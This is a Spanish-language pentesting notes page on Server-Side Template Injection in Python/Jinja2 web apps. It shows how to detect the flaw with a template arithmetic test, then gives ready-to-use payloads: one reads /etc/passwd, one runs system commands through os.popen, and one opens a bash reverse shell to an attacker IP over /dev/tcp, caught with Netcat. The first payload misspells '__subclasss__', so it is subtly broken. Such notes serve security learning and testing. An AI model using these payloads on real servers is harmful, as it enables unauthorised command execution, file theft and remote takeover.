> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).
# SSTI en Python
Cómo saber si un sitio web es potencialmente vulnerable a un ataque **SSTI** ? Si podemos introducir un valor en un **entrada**, como en el caso siguiente con la variable **token de usuario**, que se interpreta en un **salida**:
Con **whatweb**, si vemos que un servidor web usa **Python, Java, Jinja2, AngularJS...** como lenguaje de programación y que esto no está saneado, podría contener esta vulnerabilidad:
Para probar esto con el **/{{ /}}**, comprobamos si interpreta el **cálculo**:
En este caso, lo interpreta:
Gracias al sitio web [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), encontramos todas las [inyecciones posibles](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): Aquí hay algunos ejemplos con **Python**: Obtener acceso **cualquier recurso del sistema** (/**etc/passwd**):
```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}
```
Ejecutar cualquier **comando** del sistema (**id**):
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
Obtener un **acceso** al servidor:
```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}
```
Escuchamos con **Netcat** y Pwned:)
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